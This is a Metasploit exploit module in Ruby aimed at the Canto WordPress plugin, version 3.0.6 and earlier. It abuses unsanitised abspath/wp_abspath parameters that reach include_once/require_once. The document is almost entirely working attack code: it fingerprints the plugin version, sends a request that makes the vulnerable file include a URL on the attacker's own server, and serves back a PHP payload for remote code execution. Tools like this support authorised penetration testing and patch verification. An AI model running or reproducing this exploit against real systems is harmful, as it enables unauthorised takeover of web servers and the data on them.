## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::PHPInclude Rank = GreatRanking HttpFingerprint = { pattern: [ /wp-admin|wp-includes|wp-content|wordpress/i ] } def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress Canto Plugin abspath/wp_abspath File Include RCE', 'Description' => %q{ This module exploits an input validation vulnerability in the Canto WordPress plugin where user controlled parameters (`abspath` and `wp_abspath`) are passed to `include_once` or `require_once` without proper sanitization. This allows remote file inclusion and remote code execution when PHP is configured with allow_url_include enabled. Requirements: - Canto plugin version <= 3.0.6 - PHP with `allow_url_include` enabled The vulnerable files are located in `canto/includes/lib/`. Affected files include: - tree.php (wp_abspath) - get.php (wp_abspath) - download.php (wp_abspath) - detail.php (wp_abspath) - sizes.php (abspath) - copy-media.php (abspath) }, 'License' => MSF_LICENSE, 'Author' => [ 'puppetm4ster' ], 'References' => [ ['CVE', '2023-3452'], ['CVE', '2024-25096'], [ 'URL', 'https://www.rapid7.com/db/vulnerabilities/canto-plugin-cve-2024-25096/' ] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'WordPress Plugin <= 3.0.6', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ] ], 'Payload' => { 'BadChars' => "\x00" }, 'Privileged' => false, 'DisclosureDate' => '2023-08-09', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to cantos root directory', '/wp-content/plugins/canto']), OptInt.new('RPORT', [true, 'Port', 80]), OptBool.new('SSL', [true, 'Use SSL', false]), OptString.new('TARGETFILE', [true, 'Vulnerable PHP file', 'get.php']) # tree.php get.php download.php detail.php ] ) end def check proto = datastore['SSL'] ? 'https://' : 'http://' check_ver = "#{datastore['TARGETURI']}/readme.txt" print_status("checking canto version number in: #{proto}#{rhost}:#{datastore['RPORT']}#{check_ver}") res_ver = send_request_cgi({ # canto version 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'readme.txt') }) res_tar = send_request_cgi({ # confirmation of vulnerable file 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'includes', 'lib', datastore['TARGETFILE']) }) if res_ver && res_ver.code == 200 # if http response is not empty version = res_ver.body[/Stable tag:\s*([\d.]+)/, 1] # grab version number return CheckCode::Detected('Version not found') unless version print_status("version is: #{version}") if Rex::Version.new(version) <= Rex::Version.new('3.0.6') # if canto version is vulnerable return CheckCode::Unknown unless res_tar if [404, 410].include?(res_tar.code) # target file does not appear to be on the server return CheckCode::Safe("File not present (#{res_tar.code})") end if [200, 500].include?(res_tar.code) # target file is probably reachable return CheckCode::Appears("Reachable (#{res_tar.code})") end return CheckCode::Detected("Server error but reachable (#{res_tar.code})") else return CheckCode::Safe end else print_status("#{rhost} cannot be reached") CheckCode::Unknown end end def exploit print_status('Starting HTTP server...') start_service param = case datastore['TARGETFILE'] when 'tree.php', 'get.php', 'download.php', 'detail.php' 'wp_abspath' else 'abspath' end print_status('Triggering RFI...') method = datastore['TARGETFILE'] == 'copy-media.php' ? 'POST' : 'GET' send_request_cgi({ 'method' => method, 'uri' => normalize_uri(target_uri.path, 'includes', 'lib', datastore['TARGETFILE']), method == 'POST' ? 'vars_post' : 'vars_get' => { param => get_uri } }) # Rex.sleep(5) handler end def on_request_uri(cli, request) if request.uri =~ /admin\.php|image\.php/ print_status('Sending admin.php payload') send_response(cli, payload.encoded, 'Content-Type' => 'application/x-httpd-php') else send_not_found(cli) end end end